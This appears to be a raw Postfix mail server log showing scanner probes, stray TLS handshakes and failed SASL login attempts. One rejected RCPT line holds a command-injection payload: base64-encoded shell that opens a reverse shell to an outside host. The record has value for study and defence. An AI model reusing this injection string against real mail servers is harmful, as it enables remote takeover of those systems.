2026-09-14T06:03:55.999646-04:00 mail postfix/submission/smtpd[2126610]: lost connection after CONNE ...
show more2026-09-14T06:03:55.999646-04:00 mail postfix/submission/smtpd[2126610]: lost connection after CONNECT from unknown[202.125.143.114]
2026-09-14T06:03:57.886408-04:00 mail postfix/submission/smtpd[2126612]: NOQUEUE: reject: RCPT from unknown[202.125.143.114]: 554 5.7.1 <unknown[202.125.143.114]>: Client host rejected: Access denied; from=<postmaster@localhost> to=<"x: Service status change: localhost $(echo${IFS}c2ggLWMgJ3NoIC1pID4mL2Rldi90Y3AvNzcuMTEwLjEwNi4yMTcvNjc2NyAwPiYxIHx8IHRpbWVvdXQgNjAgbmMgNzcuMTEwLjEwNi4yMTcgNjc2NyAtZSBzaCAyPi9kZXYvbnVsbCc=|base64${IFS}-d|sh) changed from stopped to running"@localhost> proto=ESMTP helo=<.>
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2026-09-13T16:36:02.164263-04:00 mail postfix/submission/smtpd[2106019]: improper command pipelining ...
show more2026-09-13T16:36:02.164263-04:00 mail postfix/submission/smtpd[2106019]: improper command pipelining after CONNECT from unknown[71.6.146.186]: \026\003\003\001X\001\000\001T\003\003\311\324\226$\2754\241o\314\002\360\336"\350Q\300\372\273\3266\377\266}~\304\247\221$\371\300\367\375 a\300\340\\\347\335?\376$\232I\017l\004\360\276\344\226a B9u5}'\026h{\3375l\000F\300\022\300\a\314\024\023\001\023\002\314\251\300s\300r\300,\300\257\300\255
2026-09-13T16:36:04.798375-04:00 mail postfix/submission/smtpd[2106019]: improper command pipelining after CONNECT from unknown[71.6.146.186]: \026\003\001\001D\001\000\001@\003\003\332\201\256%3\373\227cw\311\321\346\221\t\314\303\271\354\260\022\027&Z\276Zc\373B\213\204rg \337\214o^\033\323\367S\360AbA?\0254\330*zdq\005&\246\032w5s\033\347\332\034F\000>\023\002\023\003\023\001\300,\3000\000\237\314\251\314\250\314\252\300+\300/
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2026-09-13T11:13:42.216697-04:00 mail postfix/submission/smtpd[2097785]: improper command pipelining ...
show more2026-09-13T11:13:42.216697-04:00 mail postfix/submission/smtpd[2097785]: improper command pipelining after CONNECT from unknown[164.90.173.183]: \026\003\003\001\247\001\000\001\243\003\003\324\266\001\2763}\313\254\f\217Ia.En\300\241\203\217q\270\200\354IC\030\357\252\366\331\221\254 ,$15\266\260\315o<\312r\035\355\206\t\006\224\311\360\317M\324\330j$'\373\211\177-\004\347\000\212\000\005\000\004\000\a\000\300\000\204\000\272\000A\000\235\300\241\300\235\000=
2026-09-13T15:59:29.798114-04:00 mail postfix/submission/smtpd[2105063]: lost connection after STARTTLS from unknown[164.90.173.183]
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2026-09-13T11:13:40.453070-04:00 mail postfix/submission/smtpd[2097782]: lost connection after CONNE ...
show more2026-09-13T11:13:40.453070-04:00 mail postfix/submission/smtpd[2097782]: lost connection after CONNECT from unknown[207.154.208.88]
2026-09-13T15:59:29.274026-04:00 mail postfix/submission/smtpd[2105060]: lost connection after CONNECT from unknown[207.154.208.88]
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2026-09-13T14:51:54.770513-04:00 mail postfix/submission/smtpd[2103353]: lost connection after START ...
show more2026-09-13T14:51:54.770513-04:00 mail postfix/submission/smtpd[2103353]: lost connection after STARTTLS from unknown[206.81.28.10]
2026-09-13T14:51:56.854365-04:00 mail postfix/submission/smtpd[2103350]: improper command pipelining after CONNECT from unknown[206.81.28.10]: \026\003\003\001\247\001\000\001\243\003\003\022)\206\301A\252\021\230\240\245\v\322O\346\234b\362V\003\204\261\351\210\277\336\367\\mgK\351\212 J\230\207-\370\f\243\332\353\210m"\006\346/U\276#\000\224\223\0255\b\345\2150\1770\235W4\000\212\000\026\0003\000g\300\236\300\242\000\236\0009\000k\300\237\300\243\000\237
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2026-09-13T11:13:40.843474-04:00 mail postfix/submission/smtpd[2097785]: lost connection after START ...
show more2026-09-13T11:13:40.843474-04:00 mail postfix/submission/smtpd[2097785]: lost connection after STARTTLS from unknown[164.90.173.183]
2026-09-13T11:13:41.995588-04:00 mail postfix/submission/smtpd[2097782]: improper command pipelining after CONNECT from unknown[164.90.173.183]: \026\003\003\001\247\001\000\001\243\003\003\017\362\207N\367\303#2\330,\206\035\0005\r\n}\a|bh\373\223\344\237\330?\345d\024\256\307 \373C\0333A\322%ii\200{\037\331\200\351?\215l\210YpX\256\332\216\247C\\I\317\252\251\000\212\000\026\0003\000g\300\236\300\242\000\236\0009\000k\300\237\300\243\000\237
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2026-09-13T09:55:39.639813-04:00 mail postfix/submission/smtpd[2095756]: lost connection after EHLO ...
show more2026-09-13T09:55:39.639813-04:00 mail postfix/submission/smtpd[2095756]: lost connection after EHLO from vps-b9e30127.vps.ovh.ca[51.222.85.30]
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2026-09-12T20:49:41.756376-04:00 mail postfix/smtps/smtpd[2074498]: lost connection after CONNECT fr ...
show more2026-09-12T20:49:41.756376-04:00 mail postfix/smtps/smtpd[2074498]: lost connection after CONNECT from unknown[2a01:4020:1:1:103::1b]
2026-09-13T04:35:59.555004-04:00 mail postfix/submission/smtpd[2087334]: lost connection after CONNECT from unknown[2a01:4020:1:1:103::1b]
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2026-09-13T00:04:14.967968-04:00 mail postfix/submission/smtpd[2079976]: lost connection after EHLO ...
show more2026-09-13T00:04:14.967968-04:00 mail postfix/submission/smtpd[2079976]: lost connection after EHLO from azpdssz6cjek.stretchoid.com[40.119.27.252]
2026-09-13T00:04:15.027960-04:00 mail postfix/submission/smtpd[2079976]: improper command pipelining after CONNECT from azpdssz6cjek.stretchoid.com[40.119.27.252]: MGLNDD_204.12.237.194_587\n
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2026-09-06T18:38:58.559750-04:00 mail postfix/submission/smtpd[1844060]: improper command pipelining ...
show more2026-09-06T18:38:58.559750-04:00 mail postfix/submission/smtpd[1844060]: improper command pipelining after CONNECT from unknown[147.185.132.76]: GET / HTTP/1.1\r\nHost: 204.12.237.194:587\r\nUser-Agent: Hello from Palo Alto Networks, find out more a
2026-09-12T18:13:55.062934-04:00 mail postfix/submission/smtpd[2070538]: improper command pipelining after CONNECT from unknown[147.185.132.76]: GET / HTTP/1.1\r\nHost: 204.12.237.194:587\r\nUser-Agent: Hello from Palo Alto Networks, find out more a
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2026-09-12T11:32:23.741332-04:00 mail postfix/submission/smtpd[2060316]: lost connection after EHLO ...
show more2026-09-12T11:32:23.741332-04:00 mail postfix/submission/smtpd[2060316]: lost connection after EHLO from vps-b9e30127.vps.ovh.ca[51.222.85.30]
2026-09-12T11:34:54.538906-04:00 mail postfix/submission/smtpd[2060368]: lost connection after EHLO from vps-b9e30127.vps.ovh.ca[51.222.85.30]
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2026-09-12T09:46:12.526869-04:00 mail postfix/submission/smtpd[2057669]: improper command pipelining ...
show more2026-09-12T09:46:12.526869-04:00 mail postfix/submission/smtpd[2057669]: improper command pipelining after CONNECT from azpdes1six59.stretchoid.com[172.203.212.25]: \026\003\001\000\356\001\000\000\352\003\003H\214fn\357\355\307D\264A$\a\357d\334\325:\240\221Z\324\273\370y\006<\226\177\220\220\322\300 \374\2048\307Z|\020\370\3424/Ub\371\331\267\204\246\224\320v\032l\240T\216\177\026\263\376\270\222\000&\314\250\314\251\300/\3000\300+\300,\300\023\300\t\300\024\300\n\000\234
2026-09-12T09:46:12.760518-04:00 mail postfix/submission/smtpd[2057669]: improper command pipelining after CONNECT from azpdes1six59.stretchoid.com[172.203.212.25]: MGLNDD_204.12.237.194_587\n
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2026-09-12T03:09:17.494101-04:00 mail postfix/smtpd[2047154]: lost connection after EHLO from unknow ...
show more2026-09-12T03:09:17.494101-04:00 mail postfix/smtpd[2047154]: lost connection after EHLO from unknown[52.186.183.231]
2026-09-12T03:09:17.600820-04:00 mail postfix/smtpd[2047154]: lost connection after UNKNOWN from unknown[52.186.183.231]
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2026-09-11T21:38:20.931326-04:00 mail postfix/submission/smtpd[2038595]: improper command pipelining ...
show more2026-09-11T21:38:20.931326-04:00 mail postfix/submission/smtpd[2038595]: improper command pipelining after CONNECT from unknown[45.82.78.103]: \026\003\001\005\302\001\000\005\276\003\003\320\036g~\366\375\241\001\253\350\032\324\220\257\204\241LeiJ\022\344\231\262\252WmOE/8X R<\312\272\267\347\f\360\243J\217G\344cq\243\001\325\034\036\316\227\230\307wk=\371#\265!\312\000\032\300+\300/\300,\3000\314\251\314\250\300\t\300\023\300\n\300\024\023\001
2026-09-11T21:38:21.692010-04:00 mail postfix/submission/smtpd[2038595]: lost connection after CONNECT from unknown[45.82.78.103]
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2026-09-11T10:13:42.262513-04:00 mail postfix/submission/smtpd[2021227]: improper command pipelining ...
show more2026-09-11T10:13:42.262513-04:00 mail postfix/submission/smtpd[2021227]: improper command pipelining after CONNECT from franklin.probe.onyphe.net[195.184.76.234]: EHLO 204.12.237.194\r\n
2026-09-11T10:13:52.436564-04:00 mail postfix/submission/smtpd[2021227]: lost connection after STARTTLS from franklin.probe.onyphe.net[195.184.76.234]
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2026-09-11T07:57:18.753675-04:00 mail postfix/submission/smtpd[2017459]: improper command pipelining ...
show more2026-09-11T07:57:18.753675-04:00 mail postfix/submission/smtpd[2017459]: improper command pipelining after CONNECT from unknown[106.57.254.2]: \r\n\r\n
2026-09-11T07:57:18.757657-04:00 mail postfix/submission/smtpd[2017459]: lost connection after CONNECT from unknown[106.57.254.2]
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2026-09-11T00:03:53.863670-04:00 mail postfix/submission/smtpd[2004917]: improper command pipelining ...
show more2026-09-11T00:03:53.863670-04:00 mail postfix/submission/smtpd[2004917]: improper command pipelining after CONNECT from sky.census.shodan.io[80.82.77.33]: \026\003\003\001\247\001\000\001\243\003\003\212\221%\356\351\001F\252E\337\266\026\b8o+\313\374j\350cK\351d\246\265\036\206\037\244\303\223 \\\304\264\357X)?R\024X\271\360I\365P\305\370"\257rE>\327)kt\363rw8\313n\000\212\000\026\0003\000g\300\236\300\242\000\236\0009\000k\300\237\300\243\000\237
2026-09-11T00:03:54.070800-04:00 mail postfix/submission/smtpd[2004917]: improper command pipelining after CONNECT from sky.census.shodan.io[80.82.77.33]: \026\003\003\001\247\001\000\001\243\003\003K\304\375\347 \265\265\306t\201\303\221\227\216Bg\230\355\356j"?\246\331y3\235\365\314\355\002; \no\372\201g\036\371\306x\025\257\027\033\262\331\003\322\022r\2018w\364>\304\2477&(:\275\356\000\212\000\005\000\004\000\a\000\300\000\204\000\272\000A\000\235\300\241\300\235\000=
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2026-09-10T22:52:40.124521-04:00 mail postfix/smtpd[2003094]: lost connection after CONNECT from 140 ...
show more2026-09-10T22:52:40.124521-04:00 mail postfix/smtpd[2003094]: lost connection after CONNECT from 140.253.79.34.bc.googleusercontent.com[34.79.253.140]
2026-09-10T22:52:40.128990-04:00 mail postfix/smtpd[2003093]: lost connection after CONNECT from 140.253.79.34.bc.googleusercontent.com[34.79.253.140]
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2026-09-10T22:28:01.104315-04:00 mail postfix/smtpd[2002465]: lost connection after CONNECT from 208 ...
show more2026-09-10T22:28:01.104315-04:00 mail postfix/smtpd[2002465]: lost connection after CONNECT from 208.17.187.35.bc.googleusercontent.com[35.187.17.208]
2026-09-10T22:28:01.114968-04:00 mail postfix/smtpd[2002462]: lost connection after CONNECT from 208.17.187.35.bc.googleusercontent.com[35.187.17.208]
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2026-09-10T16:32:56.886622-04:00 mail postfix/submission/smtpd[1993330]: improper command pipelining ...
show more2026-09-10T16:32:56.886622-04:00 mail postfix/submission/smtpd[1993330]: improper command pipelining after CONNECT from unknown[152.32.223.215]: \026\003\001\000\374\001\000\000\370\003\003u\016'\340\274GY%\004O4IK9\250\205\206\373\247%.\307>l0Y\321\332\242\352\324/ 56\237M\004\305\034\355n\313h\355\0023l\363\313A\216\034\313\322M\216m;y\325\322L\025\037\0004\314\250\314\251\300/\3000\300+\300,\300\t\000\236\314\250\314\252\0003
2026-09-10T16:33:19.225997-04:00 mail postfix/submission/smtpd[1993330]: lost connection after CONNECT from unknown[152.32.223.215]
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2026-09-10T06:23:06.361296-04:00 mail postfix/submission/smtpd[1977750]: improper command pipelining ...
show more2026-09-10T06:23:06.361296-04:00 mail postfix/submission/smtpd[1977750]: improper command pipelining after CONNECT from unknown[152.32.197.121]: \026\003\001\000\374\001\000\000\370\003\003\352\330\247'\367&p\005\232\270\211\320Y\217\3772\177\b\276\240l!Ls\242fF*\361"\247\350 2\257\001\356\267\277"t\233n\240N\306\310\361>K\344\373n\031$]\300lM\3551O\r\246\242\0004\314\250\314\251\300/\3000\300+\300,\300\t\000\236\314\250\314\252\0003
2026-09-10T06:23:25.114306-04:00 mail postfix/submission/smtpd[1977750]: lost connection after CONNECT from unknown[152.32.197.121]
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2026-09-10T06:14:50.044861-04:00 mail postfix/submission/smtpd[1977211]: warning: unknown[45.148.10. ...
show more2026-09-10T06:14:50.044861-04:00 mail postfix/submission/smtpd[1977211]: warning: unknown[45.148.10.31]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=sales
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2026-09-10T06:14:45.353210-04:00 mail postfix/submission/smtpd[1977230]: warning: unknown[45.148.10. ...
show more2026-09-10T06:14:45.353210-04:00 mail postfix/submission/smtpd[1977230]: warning: unknown[45.148.10.26]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=sales
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2026-09-10T06:14:43.351615-04:00 mail postfix/submission/smtpd[1977228]: warning: unknown[45.148.10. ...
show more2026-09-10T06:14:43.351615-04:00 mail postfix/submission/smtpd[1977228]: warning: unknown[45.148.10.30]: SASL LOGIN authentication failed: (reason unavailable), sasl_username=sales
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